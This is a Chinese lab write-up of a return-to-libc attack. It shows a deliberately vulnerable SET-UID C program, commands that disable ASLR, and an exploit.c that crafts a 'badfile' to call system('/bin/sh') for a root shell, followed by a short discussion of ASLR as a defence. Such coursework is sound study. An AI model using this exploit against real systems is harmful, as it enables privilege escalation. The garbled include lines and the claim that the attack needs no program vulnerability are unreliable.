一、实验描述
缓冲区溢出的常用攻击方法是用 shellcode 的地址来覆盖漏洞程序的返回地址，使得漏洞程序去执行存放在栈中 shellcode。为了阻止这种类型的攻击，一些操作系统使得系统管理员具有使栈不可执行的能力。这样的话，一旦程序执行存放在栈中的 shellcode 就会崩溃，从而阻止了攻击。不幸的是上面的保护方式并不是完全有效的，现在存在一种缓冲区溢出的变体攻击，叫做 return-to-libc 攻击。这种攻击不需要一个栈可以执行，甚至不需要一个 shellcode。取而代之的是我们让漏洞程序跳转到现存的代码（比如已经载入内存的 libc 库中的 system（）函数等）来实现我们的攻击。
二、实验准备
1、输入命令安装一些用于编译 32 位 C 程序的东西：
通过以下代码实现这一功能。
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev
2、输入命令“linux32”进入 32 位 linux 环境。输入“/bin/bash”使用 bash：
三、实验步骤
1、初始设置
Ubuntu 和其他一些 Linux 系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中，我们使用以下命令关闭这一功能：
sudo sysctl -w kernel.randomize_va_space=02、漏洞程序
把以下代码保存为“retlib.c”文件，保存到 /tmp 目录下。代码如下：
/* retlib.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
include
include
include
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 40, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
} 编译该程序，并设置 SET-UID。命令如下：
sudo su
gcc -m32 -g -z noexecstack -fno-stack-protector -o retlib retlib.c
chmod u+s retlib
exit上述程序有一个缓冲区溢出漏洞，它先从一个叫“badfile”的文件里把 40 字节的数据读取到 12 字节的 buffer，引起溢出。fread()函数不检查边界所以会发生溢出。由于此程序为 SET-ROOT-UID 程序，如果一个普通用户利用了此缓冲区溢出漏洞，他有可能获得 root shell。应该注意到此程序是从一个叫做“badfile”的文件获得输入的，这个文件受用户控制。现在我们的目标是为“badfile”创建内容，这样当这段漏洞程序将此内容复制进它的缓冲区，便产生了一个 root shell 。
我们还需要用到一个读取环境变量的程序：
/* getenvaddr.c */
include
include
include
int main(int argc, char const *argv[])
{
char *ptr;
if(argc < 3){
printf("Usage: %s \n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
printf("%s will be at %p\n", argv[1], ptr);
return 0;
} 编译一下：
gcc -m32 -o getenvaddr getenvaddr.c3、攻击程序
把以下代码保存为“exploit.c”文件，保存到 /tmp 目录下。代码如下：
/* exploit.c */
include
include
include
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen(".//badfile", "w");
strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times
*(long *) &buf[32] =0x11111111; // "//bin//sh"
*(long *) &buf[24] =0x22222222; // system()
*(long *) &buf[36] =0x33333333; // exit()
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
} 代码中“0x11111111”、“0x22222222”、“0x33333333”分别是 BIN_SH、system、exit 的地址，需要我们接下来获取。
4、获取内存地址
1）用刚才的 getenvaddr 程序获得 BIN_SH 地址：
2）gdb 获得 system 和 exit 地址：
修改 exploit.c 文件，填上刚才找到的内存地址：
删除刚才调试编译的 exploit 程序和 badfile 文件，重新编译修改后的 exploit.c：
rm exploit
rm badfile
gcc -m32 -o exploit exploit.c5）攻击
先运行攻击程序 exploit，再运行漏洞程序 retlib，可见攻击成功，获得了 root 权限：
四、实验总结
实验最终的结果是成功的控制了root权限，虽然这样的结果和缓冲区溢出攻击达到相同的结果，但是采取的手段完全不同。Return-to-libc攻击，通过已经现存的代码实现攻击。这种攻击在我看来是一种更加隐秘的成功率高的攻击手段。毕竟这样的攻击并不依赖于程序中的漏洞，其漏洞是通过自己生成的代码生成的，因此防范起来更加困难。目前对于 return-into-libc 和返回导向编程攻击，地址空间布局随机化(Address Space Layout Randomization,ASLR)机制是最为有效的防御机制之一。ASLR 可以实现对进程的堆、 栈、代码和共享库等的地址在程序每次运行的时候的随机化， 大大增加了定位到需要利用的代码的正确位置的难度,因此也就大大增加了 return-into-libc 和返回导向编程攻击的难度以及对攻击的防御能力。由于程序运行时的地址被随机化，在攻击时攻击者无法直接定位到所需利用的随机化后的内存地址,而只能依赖于对这些数据、代码运行时的实际地址的猜测。因此攻击者猜对的可能性比较低，很难成功发起攻击。同时，也容易导致程序运行时崩溃，因而减小了检测到攻击的难度。